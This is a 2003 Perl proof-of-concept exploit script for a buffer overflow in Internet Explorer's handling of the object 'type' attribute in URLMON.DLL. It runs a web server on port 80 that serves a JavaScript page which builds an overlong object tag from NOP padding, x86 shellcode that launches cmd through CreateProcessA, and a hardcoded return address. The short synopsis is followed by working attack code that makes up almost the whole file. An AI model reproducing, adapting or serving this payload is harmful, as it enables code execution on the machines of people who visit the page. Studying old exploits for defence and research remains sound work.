#!/usr/bin/perl

#=synopsis

06/06/03 - Proof of concept exploit by Sir Alumni ([email protected])

IE-Object longtype dynamic call oferflow

[…]

url://<$shellcode><'/'x48><jmp %ptr_sh>

the flaw actually exists in URLMON.DLL when converting backslashes

to wide char,

this can be seen on stack dump near '&CLSID=AAA…2F__2F__…'.

[…]

To exploit: i) start server perl script;

ii) connect to http-service using IE/5.x.

Tested: IE-5.x, 6.0? on WinXP.

Note: a) the shellcode size is limited up to 56 bytes;

b) the '$ret' may differ as well as the image base of

KERNEL32.DLL;

c) to avoid multiple encoding the shellcode is given 'as

is' with help of JScript.

#=synopsis

use IO::Socket;

$port = 80;

$server = IO::Socket::INET->new (LocalPort => $port,

                            Type =>SOCK_STREAM,

                            Reuse => 1,

                            Listen => $port) or die("Couldnt't create 

server socket\n");

$shellcode = "\x33\xdb". # xor ebx, ebx

            "\x8b\xd4".             # mov edx, esp

            "\x80\xc6\xff".         # add dh, 0xFF

            "\xc7\x42\xfc\x63\x6d". # mov dword ptr[edx-4], 0x01646D63 

("cmd\x01")

            "\x64\x01".             #

            "\x88\x5a\xff".         # mov byte ptr[edx-1], bl

            "\x8d\x42\xfc".         # lea eax, [edx-4]

            "\x8b\xf5".             # mov esi, ebp

            "\x56\x52".             # push esi; push edx

            "\x53\x53\x53\x53\x53\x53".     # push ebx

            "\x50\x53".             # push eax; push ebx

            "\xb8\x41\x77\xf7\xbf". # mov eax, 0xBFF77741 ~= 

CreateProcessA

            "\xff\xd0".             # call eax

            "\xb8\xf8\xd4\xf8\xbf". # mov eax, 0xBFF8D4F8 ~= 

ExitProcess

            "\xff\xd0".             # call eax

            "\xcc";                 # int 3

$nop = "\x90";

$ret = "\\xAB\\x5D\\x58";

while ($client = $server->accept()) {

    while (<$client>) {

            if ($_ =~ /^(\x0D\x0A)/) {

print $client <<END_DATA;

HTTP/1.0 200 Ok\r

Content-Type: text/html\r

\r

<script>\r

    var mins = 56;\r

    var size = 48;\r

    var sploit = "$shellcode";\r

    var strNop = "$nop";\r

    var strObj = '<object type="';\r

    for (i=0;i<mins-sploit.length;i++) strObj += strNop;\r

    strObj += sploit;\r

    for (i=0;i<size;i++) strObj += '/';\r

    strObj += "CCCCCCCCDDDDDDDD";\r

    strObj += "$ret";\r

    strObj += '">Hello</object>';\r

    alert(strObj);\r

    document.write(strObj);\r

</script>\r

END_DATA

                    close($client);



            }

    }

}

close($server);